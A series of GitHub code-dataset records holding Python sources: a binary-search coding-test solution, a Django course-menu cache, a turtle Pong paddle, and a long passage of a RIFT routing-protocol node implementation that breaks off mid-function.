min_t=times[0]\n max_t=times[0]*n\n while True:\n cnt = 0\n mid = (min_t+max_t) // 2\n for i in times:\n cnt += (mid//i)\n if cnt >= n:\n max_t=mid\n else:\n min_t=mid\n if min_t == max_t-1:\n return max_t\n","repo_name":"jaejae2374/CodingTest","sub_path":"입국심사/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18250310684","text":"from django.db.models.signals import post_save, post_delete\n\nfrom lib.cache import CachedAbstract\nfrom .models import MenuItem\n\n\nclass CachedCourseMenu(CachedAbstract):\n KEY_PREFIX = 'coursemenu'\n\n def __init__(self, course_instance):\n self.instance = course_instance\n super().__init__(course_instance)\n\n def _generate_data(self, instance, data=None): # pylint: disable=arguments-differ\n student_groups = {}\n student_order = []\n staff_groups = {}\n staff_order = []\n\n def append_to_group(groups, group_order, group_label, menu_entry):\n if group_label not in group_order:\n group_order.append(group_label)\n groups[group_label] = {\n 'label': group_label,\n 'items': [],\n }\n groups[group_label]['items'].append(menu_entry)\n\n for menu in instance.ext_services.all():\n url = menu.url\n entry = {\n 'enabled': menu.is_enabled,\n 'access': menu.access,\n 'label': menu.label,\n 'icon_class': menu.icon_class,\n 'url': url,\n 'blank': bool(menu.service),\n }\n group = menu.menu_group_label or \"\"\n\n if menu.access > MenuItem.ACCESS.STUDENT:\n append_to_group(staff_groups, staff_order, group, entry)\n else:\n append_to_group(student_groups, student_order, group, entry)\n\n return {\n 'student_groups': [student_groups[g] for g in student_order],\n 'staff_groups': [staff_groups[g] for g in staff_order],\n }\n\n def student_link_groups(self):\n return self.data['student_groups']\n\n def staff_link_groups(self):\n return self.data['staff_groups']\n\n @classmethod\n def is_assistant_link(cls, entry):\n return entry['access'] <= MenuItem.ACCESS.ASSISTANT\n\n\ndef invalidate_content(sender, instance, **kwargs): # pylint: disable=unused-argument\n CachedCourseMenu.invalidate(instance.course_instance)\n\n\n# Automatically invalidate cached menu when edited.\npost_save.connect(invalidate_content, sender=MenuItem)\npost_delete.connect(invalidate_content, sender=MenuItem)\n","repo_name":"apluslms/a-plus","sub_path":"external_services/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"20"} +{"seq_id":"24066190210","text":"from turtle import Turtle\n\nMOVE_DISTANCE = 20\nPAD_COLOR = (0, 255, 127)\nPAD_WIDTH = 10\n\n\nclass Paddle(Turtle):\n \"\"\"paddle for game, user can interact with the paddle, it can go up and down\"\"\"\n def __init__(self, screen, position, up_key, down_key, paddle_height):\n super().__init__()\n self.screen = screen\n self.shape(\"square\")\n self.color(PAD_COLOR)\n self.shapesize(stretch_wid=round(PAD_WIDTH/20, 1), stretch_len=round(paddle_height/20, 1))\n self.penup()\n self.goto(position)\n self.up_key = up_key\n self.down_key = down_key\n self.setheading(90)\n self.direction_up = True\n\n def move_up(self):\n self.direction_up = True\n self.forward(MOVE_DISTANCE)\n\n def move_down(self):\n self.direction_up = False\n self.backward(MOVE_DISTANCE)\n\n def move_paddle(self):\n self.screen.listen()\n self.screen.onkey(key=self.up_key, fun=self.move_up)\n self.screen.onkey(key=self.down_key, fun=self.move_down)\n","repo_name":"Menigedegna/Pong_Game","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9809123135","text":"# pylint: disable=too-many-lines\n\nimport collections\nimport copy\nimport enum\nimport logging\nimport os\nimport socket\nimport uuid\n\nimport heapdict\nimport sortedcontainers\n\nimport common.constants\nimport constants\nimport encoding.ttypes\nimport fib\nimport fsm\nimport interface\nimport kernel\nimport next_hop\nimport offer\nimport packet_common\nimport rib\nimport route\nimport spf_dest\nimport stats\nimport table\nimport timer\nimport utils\n\nMY_NODE_TIE_NR = 1\nMY_PREFIX_TIE_NR = 2\nMY_POS_DISAGG_TIE_NR = 3\n\nFLUSH_LIFETIME = 60\n\n# TODO: We currently only store the decoded TIE messages.\n# Also store the encoded TIE messages for the following reasons:\n# - Encode only once, instead of each time the message is sent\n# - Ability to flood the message immediately before it is decoded\n# Note: the encoded TIE protocol packet that we send is different from the encoded TIE protocol\n# packet that we send (specifically, the content is the same but the header reflect us as the\n# sender)\n\n# TODO: Make static method of Node\ndef compare_tie_header_age(header1, header2):\n # Returns -1 is header1 is older, returns +1 if header1 is newer, 0 if \"same\" age\n # It is not allowed to call this function with headers with different TIE-IDs.\n assert header1.tieid == header2.tieid\n # Highest sequence number is newer\n if header1.seq_nr < header2.seq_nr:\n return -1\n if header1.seq_nr > header2.seq_nr:\n return 1\n # When a node advertises remaining_lifetime 0 in a TIRE, it means a request (I don't have\n # that TIRE, please send it). Thus, if one header has remaining_lifetime 0 and the other\n # does not, then the one with non-zero remaining_lifetime is always newer.\n if (header1.remaining_lifetime == 0) and (header2.remaining_lifetime != 0):\n return -1\n if (header1.remaining_lifetime != 0) and (header2.remaining_lifetime == 0):\n return 1\n # The header with the longest remaining lifetime is considered newer. However, if the\n # difference in remaining lifetime is less than 5 minutes (300 seconds), they are considered\n # to be the same age.\n age_diff = abs(header1.remaining_lifetime - header2.remaining_lifetime)\n if age_diff > common.constants.lifetime_diff2ignore:\n if header1.remaining_lifetime < header2.remaining_lifetime:\n return -1\n if header1.remaining_lifetime > header2.remaining_lifetime:\n return 1\n # TODO: Figure out what to do with origination_time\n # If we get this far, we have a tie (same age)\n return 0\n\nclass TIEMeta:\n\n def __init__(self, tie_packet, rx_intf):\n self.tie_packet = tie_packet\n self.rx_intf = rx_intf # None for self originated TIEs\n\nclass Node:\n\n _next_node_nr = 1\n\n ZTP_MIN_NUMBER_OF_PEER_FOR_LEVEL = 3\n\n SEND_TIDES_INTERVAL = 2.0\n\n # TODO: Use constant from Thrift file (it is currently not there, but Tony said he added it)\n # Don't use the actual lowest value 0 (which is enum value Illegal) for direction or tietype,\n # but value 1 (direction South) or value 2 (tietype TieTypeNode). Juniper RIFT doesn't accept\n # illegal values.\n MIN_TIE_ID = encoding.ttypes.TIEID(\n direction=constants.DIR_SOUTH,\n originator=0,\n tietype=common.ttypes.TIETypeType.NodeTIEType,\n tie_nr=0)\n # For the same reason don't use DirectionMaxValue or TIETypeMaxValue but North and\n # KeyValueTIEType instead\n MAX_TIE_ID = encoding.ttypes.TIEID(\n direction=constants.DIR_NORTH,\n originator=packet_common.MAX_U64,\n tietype=common.ttypes.TIETypeType.KeyValueTIEType,\n tie_nr=packet_common.MAX_U32)\n\n MIN_SPF_INTERVAL = 1.0\n\n SPF_TRIGGER_HISTORY_LENGTH = 10\n\n # TODO: This value is not specified anywhere in the specification\n DEFAULT_HOLD_DOWN_TIME = 3.0\n\n class State(enum.Enum):\n UPDATING_CLIENTS = 1\n HOLDING_DOWN = 2\n COMPUTE_BEST_OFFER = 3\n\n class Event(enum.Enum):\n CHANGE_LOCAL_CONFIGURED_LEVEL = 1\n NEIGHBOR_OFFER = 2\n BETTER_HAL = 3\n BETTER_HAT = 4\n LOST_HAL = 5\n LOST_HAT = 6\n COMPUTATION_DONE = 7\n HOLD_DOWN_EXPIRED = 8\n\n verbose_events = [Event.NEIGHBOR_OFFER]\n\n def remove_offer(self, removed_offer, reason):\n removed_offer.removed = True\n removed_offer.removed_reason = reason\n if removed_offer.interface_name in self._rx_offers:\n old_offer = self._rx_offers[removed_offer.interface_name]\n else:\n old_offer = None\n new_compare_needed = old_offer and not old_offer.removed\n self._rx_offers[removed_offer.interface_name] = removed_offer\n if new_compare_needed:\n self.compare_offers()\n\n def update_offer(self, updated_offer):\n if updated_offer.interface_name in self._rx_offers:\n old_offer = self._rx_offers[updated_offer.interface_name]\n new_compare_needed = (\n (old_offer.system_id != updated_offer.system_id) or\n (old_offer.level != updated_offer.level) or\n (old_offer.not_a_ztp_offer != updated_offer.not_a_ztp_offer) or\n (old_offer.state != updated_offer.state))\n else:\n old_offer = None\n new_compare_needed = True\n self._rx_offers[updated_offer.interface_name] = updated_offer\n if new_compare_needed:\n self.compare_offers()\n elif old_offer is not None:\n updated_offer.best = old_offer.best\n updated_offer.best_three_way = old_offer.best_three_way\n\n def expire_offer(self, interface_name):\n if not interface_name in self._rx_offers:\n return\n old_offer = self._rx_offers[interface_name]\n new_compare_needed = not old_offer.removed\n old_offer.removed = True\n old_offer.removed_reason = \"Hold-time expired\"\n if new_compare_needed:\n self.compare_offers()\n\n def better_offer(self, offer1, offer2, three_way_only):\n # Don't consider removed offers\n if (offer1 is not None) and (offer1.removed):\n offer1 = None\n if (offer2 is not None) and (offer2.removed):\n offer2 = None\n # Don't consider offers that are marked \"not a ZTP offer\"\n if (offer1 is not None) and (offer1.not_a_ztp_offer):\n offer1 = None\n if (offer2 is not None) and (offer2.not_a_ztp_offer):\n offer2 = None\n # If asked to do so, only consider offers from neighbors in state 3-way as valid candidates\n if three_way_only:\n if (offer1 is not None) and (offer1.state != interface.Interface.State.THREE_WAY):\n offer1 = None\n if (offer2 is not None) and (offer2.state != interface.Interface.State.THREE_WAY):\n offer2 = None\n # If there is only one candidate, it automatically wins. If there are no candidates, there\n # is no best.\n if offer1 is None:\n return offer2\n if offer2 is None:\n return offer1\n # Pick the offer with the highest level\n if offer1.level > offer2.level:\n return offer1\n if offer2.level < offer1.level:\n return offer2\n # If the level is the same for both offers, pick offer with lowest system id as tie breaker\n if offer1.system_id < offer2.system_id:\n return offer1\n return offer2\n\n def compare_offers(self):\n # Select \"best offer\" and \"best offer in 3-way state\" and do update flags on the offers\n best_offer = None\n best_offer_three_way = None\n for compared_offer in self._rx_offers.values():\n compared_offer.best = False\n compared_offer.best_three_way = False\n best_offer = self.better_offer(best_offer, compared_offer, False)\n best_offer_three_way = self.better_offer(best_offer_three_way, compared_offer, True)\n if best_offer:\n best_offer.best = True\n if best_offer_three_way:\n best_offer_three_way.best_three_way = True\n # Determine if the Highest Available Level (HAL) would change based on the current offer.\n # If it would change, push an event, but don't update the HAL yet.\n if best_offer:\n hal = best_offer.level\n else:\n hal = None\n if self._highest_available_level != hal:\n if hal:\n self.fsm.push_event(self.Event.BETTER_HAL)\n else:\n self.fsm.push_event(self.Event.LOST_HAL)\n # Determine if the Highest Adjacency Three-way (HAT) would change based on the current\n # offer. If it would change, push an event, but don't update the HAL yet.\n if best_offer_three_way:\n hat = best_offer_three_way.level\n else:\n hat = None\n if self.highest_adjacency_three_way != hat:\n if hat:\n self.fsm.push_event(self.Event.BETTER_HAT)\n else:\n self.fsm.push_event(self.Event.LOST_HAT)\n\n def level_compute(self):\n # Find best offer overall and best offer in state 3-way. This was computer earlier in\n # compare_offers, which set the flag on the offer to remember the result.\n best_offer = None\n best_offer_three_way = None\n for checked_offer in self._rx_offers.values():\n if checked_offer.best:\n best_offer = checked_offer\n if checked_offer.best_three_way:\n best_offer_three_way = checked_offer\n # Update Highest Available Level (HAL)\n if best_offer:\n hal = best_offer.level\n else:\n hal = None\n self._highest_available_level = hal\n # Update Adjacency Three-way (HAT)\n if best_offer_three_way:\n hat = best_offer_three_way.level\n else:\n hat = None\n self.highest_adjacency_three_way = hat\n # Push event COMPUTATION_DONE\n self.fsm.push_event(self.Event.COMPUTATION_DONE)\n\n def action_level_compute(self):\n self.level_compute()\n\n def action_store_leaf_flags(self, leaf_flags):\n # TODO: on ChangeLocalHierarchyIndications in UpdatingClients finishes in ComputeBestOffer:\n # store leaf flags\n pass\n\n def action_update_or_remove_offer(self, updated_or_removed_offer):\n if updated_or_removed_offer.not_a_ztp_offer is True:\n self.remove_offer(updated_or_removed_offer, \"Not a ZTP offer flag set\")\n elif updated_or_removed_offer.level is None:\n self.remove_offer(updated_or_removed_offer, \"Level is undefined\")\n elif updated_or_removed_offer.level == common.constants.leaf_level:\n self.remove_offer(updated_or_removed_offer, \"Level is leaf\")\n else:\n self.update_offer(updated_or_removed_offer)\n\n def action_store_level(self, level_symbol):\n self._configured_level_symbol = level_symbol\n parse_result = self.parse_level_symbol(self._configured_level_symbol)\n assert parse_result is not None, \"Set command should not have allowed invalid config\"\n (configured_level, leaf_only, leaf_2_leaf, top_of_fabric_flag) = parse_result\n self.configured_level = configured_level\n self._leaf_only = leaf_only\n self.leaf_2_leaf = leaf_2_leaf\n self._top_of_fabric_flag = top_of_fabric_flag\n\n def action_purge_offers(self):\n for purged_offer in self._rx_offers.values():\n if not purged_offer.removed:\n purged_offer.removed = True\n purged_offer.removed_reason = \"Purged\"\n\n def action_update_all_lie_fsms(self):\n if self._highest_available_level is None:\n self._derived_level = None\n elif self._highest_available_level > 0:\n self._derived_level = self._highest_available_level - 1\n else:\n self._derived_level = 0\n\n def any_southbound_adjacencies(self):\n # We define a southbound adjacency as any adjacency between this node and a node that has\n # a numerically lower level value. It doesn't matter what state the adjacency is in.\n # TODO: confirm this with Tony.\n #\n this_node_level = self.level_value()\n if this_node_level is None:\n return False\n for checked_offer in self._rx_offers.values():\n if checked_offer.removed:\n continue\n if checked_offer.level is None:\n continue\n if checked_offer.level < this_node_level:\n return True\n return False\n\n def action_start_timer_on_lost_hal(self):\n if self.any_southbound_adjacencies():\n self._hold_down_timer.start()\n else:\n self.fsm.push_event(self.Event.HOLD_DOWN_EXPIRED)\n\n def action_stop_hold_down_timer(self):\n self._hold_down_timer.stop()\n\n _state_updating_clients_transitions = {\n Event.CHANGE_LOCAL_CONFIGURED_LEVEL: (State.COMPUTE_BEST_OFFER, [action_store_level]),\n Event.NEIGHBOR_OFFER: (None, [action_update_or_remove_offer]),\n Event.BETTER_HAL: (State.COMPUTE_BEST_OFFER, []),\n Event.BETTER_HAT: (State.COMPUTE_BEST_OFFER, []),\n Event.LOST_HAL: (State.HOLDING_DOWN, [action_start_timer_on_lost_hal]),\n Event.LOST_HAT: (State.COMPUTE_BEST_OFFER, []),\n }\n\n _state_holding_down_transitions = {\n Event.CHANGE_LOCAL_CONFIGURED_LEVEL: (State.COMPUTE_BEST_OFFER, [action_store_level]),\n Event.NEIGHBOR_OFFER: (None, [action_update_or_remove_offer]),\n Event.BETTER_HAL: (None, []),\n Event.BETTER_HAT: (None, []),\n Event.LOST_HAL: (None, []),\n Event.LOST_HAT: (None, []),\n Event.COMPUTATION_DONE: (None, []),\n Event.HOLD_DOWN_EXPIRED: (State.COMPUTE_BEST_OFFER, [action_purge_offers]),\n }\n\n _state_compute_best_offer_transitions = {\n Event.CHANGE_LOCAL_CONFIGURED_LEVEL: (None, [action_store_level, action_level_compute]),\n Event.NEIGHBOR_OFFER: (None, [action_update_or_remove_offer]),\n Event.BETTER_HAL: (None, [action_level_compute]),\n Event.BETTER_HAT: (None, [action_level_compute]),\n Event.LOST_HAL: (State.HOLDING_DOWN, [action_start_timer_on_lost_hal]),\n Event.LOST_HAT: (None, [action_level_compute]),\n Event.COMPUTATION_DONE: (State.UPDATING_CLIENTS, []),\n }\n\n _transitions = {\n State.UPDATING_CLIENTS: _state_updating_clients_transitions,\n State.HOLDING_DOWN: _state_holding_down_transitions,\n State.COMPUTE_BEST_OFFER: _state_compute_best_offer_transitions\n }\n\n _state_actions = {\n State.UPDATING_CLIENTS: ([action_update_all_lie_fsms], []),\n State.COMPUTE_BEST_OFFER: ([action_stop_hold_down_timer, action_level_compute], []),\n }\n\n fsm_definition = fsm.FsmDefinition(\n state_enum=State,\n event_enum=Event,\n transitions=_transitions,\n initial_state=State.COMPUTE_BEST_OFFER,\n state_actions=_state_actions,\n verbose_events=verbose_events)\n\n def __init__(self, config, engine=None, force_passive=False, stand_alone=False):\n # pylint:disable=too-many-statements\n # pylint: disable=too-many-locals\n self.engine = engine\n self._config = config\n self._node_nr = Node._next_node_nr\n Node._next_node_nr += 1\n self.name = self.get_config_attribute(\"name\", self.generatename())\n self._passive = force_passive or self.get_config_attribute('passive', False)\n self.running = self.is_running()\n self.system_id = self.get_config_attribute(\"systemid\", self.generate_system_id())\n self.log_id = self.name\n self.log = logging.getLogger('node')\n self._fsm_log = self.log.getChild(\"fsm\")\n self._tie_db_log = self.log.getChild(\"tie_db\")\n self._spf_log = self.log.getChild(\"spf\")\n self._floodred_log = self.log.getChild(\"floodred\")\n self._rib_log = self.log.getChild(\"rib\")\n self._fib_log = self.log.getChild(\"fib\")\n self._kernel_log = self.log.getChild(\"kernel\")\n self._kernel_route_table = self.get_config_attribute(\"kernel_route_table\", None)\n if self._kernel_route_table is None:\n if stand_alone:\n self._kernel_route_table = \"main\"\n elif self._node_nr <= 250:\n self._kernel_route_table = self._node_nr\n else:\n self._kernel_route_table = \"none\"\n self.kernel = kernel.Kernel(\n self._kernel_route_table,\n self._kernel_log,\n self.log_id)\n self.log.info(\"[%s] Create node\", self.log_id)\n self._configured_level_symbol = self.get_config_attribute('level', 'undefined')\n parse_result = self.parse_level_symbol(self._configured_level_symbol)\n assert parse_result is not None, \"Configuration validation should have caught this\"\n (configured_level, leaf_only, leaf_2_leaf, top_of_fabric_flag) = parse_result\n self.configured_level = configured_level\n self._leaf_only = leaf_only\n self.leaf_2_leaf = leaf_2_leaf\n self._top_of_fabric_flag = top_of_fabric_flag\n self.interfaces_by_name = sortedcontainers.SortedDict()\n self.interfaces_by_id = {}\n self.rx_lie_ipv4_mcast_address = self.get_config_attribute(\n 'rx_lie_mcast_address', constants.DEFAULT_LIE_IPV4_MCAST_ADDRESS)\n self._tx_lie_ipv4_mcast_address = self.get_config_attribute(\n 'tx_lie_mcast_address', constants.DEFAULT_LIE_IPV4_MCAST_ADDRESS)\n self.rx_lie_ipv6_mcast_address = self.get_config_attribute(\n 'rx_lie_v6_mcast_address', constants.DEFAULT_LIE_IPV6_MCAST_ADDRESS)\n self._tx_lie_ipv6_mcast_address = self.get_config_attribute(\n 'tx_lie_v6_mcast_address', constants.DEFAULT_LIE_IPV6_MCAST_ADDRESS)\n self._rx_lie_port = self.get_config_attribute('rx_lie_port', constants.DEFAULT_LIE_PORT)\n self.tx_lie_port = self.get_config_attribute('tx_lie_port', constants.DEFAULT_LIE_PORT)\n # TODO: make lie-send-interval configurable\n self.lie_send_interval_secs = constants.DEFAULT_LIE_SEND_INTERVAL_SECS\n self.rx_flood_port = self.get_config_attribute('rx_tie_port', constants.DEFAULT_TIE_PORT)\n self.floodred_enabled = self.get_config_attribute('flooding_reduction', True)\n self.floodred_redundancy = self.get_config_attribute(\n 'flooding_reduction_redundancy',\n constants.DEFAULT_FLOODING_REDUCTION_REDUNDANCY)\n self.floodred_similarity = self.get_config_attribute(\n 'flooding_reduction_similarity',\n constants.DEFAULT_FLOODING_REDUCTION_SIMILARITY)\n if engine:\n system_random = engine.floodred_system_random\n else:\n system_random = 0\n self.floodred_node_random = self.generate_node_random(system_random, self.system_id)\n self.floodred_parents = []\n self.floodred_grandparents = {}\n self._derived_level = None\n self._rx_offers = {} # Indexed by interface name\n self._tx_offers = {} # Indexed by interface name\n self._highest_available_level = None\n self.highest_adjacency_three_way = None\n self._holdtime = 1\n if self.engine:\n node_ztp_fsm_stats_sum_group = self.engine.node_ztp_fsm_stats_group\n intf_traffic_stats_sum_group = self.engine.intf_traffic_stats_group\n intf_lie_fsm_stats_sum_group = self.engine.intf_lie_fsm_stats_group\n else:\n node_ztp_fsm_stats_sum_group = None\n intf_traffic_stats_sum_group = None\n intf_lie_fsm_stats_sum_group = None\n self.node_ztp_fsm_stats_group = stats.Group(node_ztp_fsm_stats_sum_group)\n self.intf_traffic_stats_group = stats.Group(intf_traffic_stats_sum_group)\n self.intf_lie_fsm_stats_group = stats.Group(intf_lie_fsm_stats_sum_group)\n self._next_interface_id = 1\n if 'interfaces' in config:\n for interface_config in self._config['interfaces']:\n self.create_interface(interface_config)\n self.my_node_tie_seq_nrs = {}\n self.my_node_tie_seq_nrs[common.ttypes.TieDirectionType.South] = 0\n self.my_node_tie_seq_nrs[common.ttypes.TieDirectionType.North] = 0\n self.my_node_tie_metas = {} # Indexed by neighbor direction\n self.other_node_tie_metas_my_level = {} # Indexed by tie_id\n self._originating_default = False\n self._my_south_prefix_tie_meta = None\n self._my_north_prefix_tie_meta = None\n self._my_pos_disagg_tie_meta = None\n self.tie_metas = sortedcontainers.SortedDict() # TIEMeta objects indexed by TIEID\n self._last_received_tide_end = self.MIN_TIE_ID\n self._defer_spf_timer = None\n self._spf_triggers_count = 0\n self._spf_triggers_deferred_count = 0\n self._spf_deferred_trigger_pending = False\n self._spf_runs_count = 0\n self._spf_trigger_history = collections.deque([], self.SPF_TRIGGER_HISTORY_LENGTH)\n self._spf_destinations = {}\n self._spf_destinations[constants.DIR_SOUTH] = {}\n self._spf_destinations[constants.DIR_NORTH] = {}\n self._ipv4_fib = fib.ForwardingTable(\n constants.ADDRESS_FAMILY_IPV4,\n self.kernel,\n self._fib_log,\n self.log_id)\n self._ipv6_fib = fib.ForwardingTable(\n constants.ADDRESS_FAMILY_IPV6,\n self.kernel,\n self._fib_log,\n self.log_id)\n self._ipv4_rib = rib.RouteTable(\n constants.ADDRESS_FAMILY_IPV4,\n self._ipv4_fib,\n self._rib_log,\n self.log_id)\n self._ipv6_rib = rib.RouteTable(\n constants.ADDRESS_FAMILY_IPV6,\n self._ipv6_fib,\n self._rib_log,\n self.log_id)\n if \"skip-self-orginated-ties\" not in self._config:\n self.regenerate_my_node_ties()\n self.regenerate_my_north_prefix_tie()\n self.regenerate_my_south_prefix_tie()\n self._age_ties_timer = timer.Timer(\n interval=1.0,\n expire_function=self.age_ties,\n periodic=True,\n start=True)\n self.fsm = fsm.Fsm(\n definition=self.fsm_definition,\n action_handler=self,\n log=self._fsm_log,\n log_id=self.log_id,\n sum_stats_group=self.node_ztp_fsm_stats_group)\n self._hold_down_timer = timer.Timer(\n interval=self.DEFAULT_HOLD_DOWN_TIME,\n expire_function=lambda: self.fsm.push_event(self.Event.HOLD_DOWN_EXPIRED),\n periodic=False,\n start=False)\n self._send_tides_timer = timer.Timer(\n interval=self.SEND_TIDES_INTERVAL,\n expire_function=self.send_tides,\n periodic=True,\n start=True)\n self.fsm.start()\n\n def generate_system_id(self):\n mac_address = uuid.getnode()\n pid = os.getpid()\n system_id = (\n ((mac_address & 0xffffffffff) << 24) |\n (pid & 0xffff) << 8 |\n (self._node_nr & 0xff))\n return system_id\n\n def generatename(self):\n return socket.gethostname().split('.')[0] + str(self._node_nr)\n\n @staticmethod\n def generate_node_random(system_random, system_id):\n assert 0 <= system_random <= 0xffffffffffffffff\n assert 0 <= system_id <= 0xffffffffffffffff\n system_random ^= system_id\n word_1 = system_random & 0xffff\n word_2 = (system_random >> 16) & 0xffff\n word_3 = (system_random >> 32) & 0xffff\n word_4 = (system_random >> 48) & 0xffff\n word_1 = Node.left_shift_circular_16(word_1, 1)\n word_2 = Node.left_shift_circular_16(word_1, 2)\n word_3 = Node.left_shift_circular_16(word_1, 3)\n word_4 = Node.left_shift_circular_16(word_1, 4)\n node_random = word_1 ^ word_2 ^ word_3 ^ word_4\n assert 0 <= node_random <= 0xffff\n return node_random\n\n @staticmethod\n def left_shift_circular_16(number, shift):\n assert 0 <= number <= 0xffff\n for _count in range(0, shift):\n number <<= 1\n if number & 0x10000:\n number &= 0xffff\n number |= 0x0001\n return number\n\n @staticmethod\n def parse_level_symbol(level_symbol):\n # Parse the \"level symbolic value\" which can be:\n # - undefined => This node uses ZTP to determine it's level value\n # - leaf => This node is hard-configured to be a leaf (not using leaf-2-leaf procedures)\n # - leaf-to-leaf => This node is hard-configured to be a leaf (does use leaf-2-leaf\n # procedures)\n # - top-of-fabric => This node is hard-configured to be a top-of-fabric (level value 24)\n # - integer value => This node is hard-configured to be the specified level (0 means leaf)\n # This function returns\n # - None if the level_symbol is invalid (i.e. one of the above)\n # - (configured_level, leaf_only, leaf_2_leaf, top_of_fabric_flag) is level_symbol is valid\n if level_symbol == 'undefined':\n return (None, False, False, False)\n elif level_symbol == 'leaf':\n return (None, True, False, False)\n elif level_symbol == 'leaf-2-leaf':\n return (None, True, True, False)\n elif level_symbol == 'top-of-fabric':\n return (None, False, False, True)\n elif isinstance(level_symbol, int):\n return (level_symbol, level_symbol == 0, False, True)\n else:\n return None\n\n def level_value(self):\n if self.configured_level is not None:\n return self.configured_level\n elif self._top_of_fabric_flag:\n return common.constants.top_of_fabric_level\n elif self._leaf_only:\n return common.constants.leaf_level\n else:\n return self._derived_level\n\n def level_value_str(self):\n level_value = self.level_value()\n if level_value is None:\n return 'undefined'\n else:\n return str(level_value)\n\n def top_of_fabric(self):\n # TODO: Is this right? Should we look at capabilities.hierarchy_indications?\n return self.level_value() == common.constants.top_of_fabric_level\n\n def record_tx_offer(self, tx_offer):\n self._tx_offers[tx_offer.interface_name] = tx_offer\n\n def send_not_a_ztp_offer_on_intf(self, interface_name):\n # If ZTP is not enabled (typically because the level is hard-configured), our level value\n # is never derived from someone elses offer, so never send a poison reverse to anyone.\n if not self.zero_touch_provisioning_enabled():\n return False\n # TODO: Introduce concept of HALS (HAL offering Systems) and simply check for membership\n # Section 4.2.9.4.6 / Section B.1.3.2\n # If we received a valid offer over the interface, and the level in that offer is equal to\n # the highest available level (HAL) for this node, then we need to poison reverse, i.e. we\n # need to set the not_a_ztp_offer flag on offers that we send out over the interface.\n if not interface_name in self._rx_offers:\n # We did not receive an offer over the interface\n return False\n rx_offer = self._rx_offers[interface_name]\n if rx_offer.removed:\n # We received an offer, but it was removed from consideration for some reason\n # (e.g. level undefined, not-a-ztp-offer flag was set, received from a leaf, ...)\n return False\n if rx_offer.level == self._highest_available_level:\n # Receive a valid offer and it is equal to our HAL\n return True\n return False\n\n def zero_touch_provisioning_enabled(self):\n # Is \"Zero Touch Provisioning (ZTP)\" aka \"automatic level derivation\" aka \"level\n # determination procedure\" aka \"auto configuration\" active? The criteria that determine\n # whether ZTP is enabled are spelled out in the first paragraph of section 4.2.9.4.\n if self.configured_level is not None:\n return False\n elif self._top_of_fabric_flag:\n return False\n elif self._leaf_only:\n return False\n else:\n return True\n\n def is_running(self):\n if self.engine is None:\n running = True\n elif self.engine.active_nodes == constants.ActiveNodes.ONLY_PASSIVE_NODES:\n running = self._passive\n elif self.engine.active_nodes == constants.ActiveNodes.ALL_NODES_EXCEPT_PASSIVE_NODES:\n running = not self._passive\n else:\n running = True\n return running\n\n def get_config_attribute(self, attribute, default):\n if attribute in self._config:\n return self._config[attribute]\n else:\n return default\n\n def create_interface(self, interface_config):\n interface_name = interface_config['name']\n intf = interface.Interface(self, interface_config)\n self.interfaces_by_name[interface_name] = intf\n self.interfaces_by_id[intf.local_id] = intf\n return intf\n\n def cli_details_table(self):\n tab = table.Table(separators=False)\n tab.add_rows([\n [\"Name\", self.name],\n [\"Passive\", self._passive],\n [\"Running\", self.is_running()],\n [\"System ID\", utils.system_id_str(self.system_id)],\n [\"Configured Level\", self._configured_level_symbol],\n [\"Leaf Only\", self._leaf_only],\n [\"Leaf 2 Leaf\", self.leaf_2_leaf],\n [\"Top of Fabric Flag\", self._top_of_fabric_flag],\n [\"Zero Touch Provisioning (ZTP) Enabled\", self.zero_touch_provisioning_enabled()],\n [\"ZTP FSM State\", self.fsm.state.name],\n [\"ZTP Hold Down Timer\", self._hold_down_timer.remaining_time_str()],\n [\"Highest Available Level (HAL)\", self._highest_available_level],\n [\"Highest Adjacency Three-way (HAT)\", self.highest_adjacency_three_way],\n [\"Level Value\", self.level_value_str()],\n [\"Receive LIE IPv4 Multicast Address\", self.rx_lie_ipv4_mcast_address],\n [\"Transmit LIE IPv4 Multicast Address\", self._tx_lie_ipv4_mcast_address],\n [\"Receive LIE IPv6 Multicast Address\", self.rx_lie_ipv6_mcast_address],\n [\"Transmit LIE IPv6 Multicast Address\", self._tx_lie_ipv6_mcast_address],\n [\"Receive LIE Port\", self._rx_lie_port],\n [\"Transmit LIE Port\", self.tx_lie_port],\n [\"LIE Send Interval\", \"{} secs\".format(self.lie_send_interval_secs)],\n [\"Receive TIE Port\", self.rx_flood_port],\n [\"Kernel Route Table\", self._kernel_route_table],\n [\"Originating South-bound Default Route\", self._originating_default],\n [\"Flooding Reduction Enabled\", self.floodred_enabled],\n [\"Flooding Reduction Redundancy\", self.floodred_redundancy],\n [\"Flooding Reduction Similarity\", self.floodred_similarity],\n [\"Flooding Reduction Node Random\", self.floodred_node_random],\n ])\n return tab\n\n def cli_statistics_attributes(self):\n return [\n [\"SPF Runs\", self._spf_runs_count],\n [\"SPF Deferrals\", self._spf_triggers_deferred_count]\n ]\n\n def allocate_interface_id(self):\n # We assume an i32 is never going to wrap (i.e. no more than ~2M interfaces)\n interface_id = self._next_interface_id\n self._next_interface_id += 1\n return interface_id\n\n # TODO: Need to re-evaluate other_node_tie_metas_my_level when the level of this node changes\n\n def is_same_level_tie(self, tie_packet):\n if tie_packet.header.tieid.tietype != common.ttypes.TIETypeType.NodeTIEType:\n # Not a node TIE\n return False\n if tie_packet.element.node.level != self.level_value():\n # Not from a node at the same level\n return False\n if tie_packet.header.tieid.originator == self.system_id:\n # From myself, i.e. not from another node\n return False\n return True\n\n def up_interfaces(self, interface_going_down):\n for intf in self.interfaces_by_name.values():\n if ((intf.fsm.state == interface.Interface.State.THREE_WAY) and\n (intf != interface_going_down)):\n yield intf\n\n def regenerate_node_tie(self, direction, interface_going_down=None):\n tie_nr = MY_NODE_TIE_NR\n self.my_node_tie_seq_nrs[direction] += 1\n seq_nr = self.my_node_tie_seq_nrs[direction]\n node_tie_packet = packet_common.make_node_tie_packet(\n name=self.name,\n level=self.level_value(),\n direction=direction,\n originator=self.system_id,\n tie_nr=tie_nr,\n seq_nr=seq_nr,\n lifetime=common.constants.default_lifetime)\n for intf in self.up_interfaces(interface_going_down):\n # Did we already report the neighbor on the other end of this interface? This\n # happens if we have multiple parallel 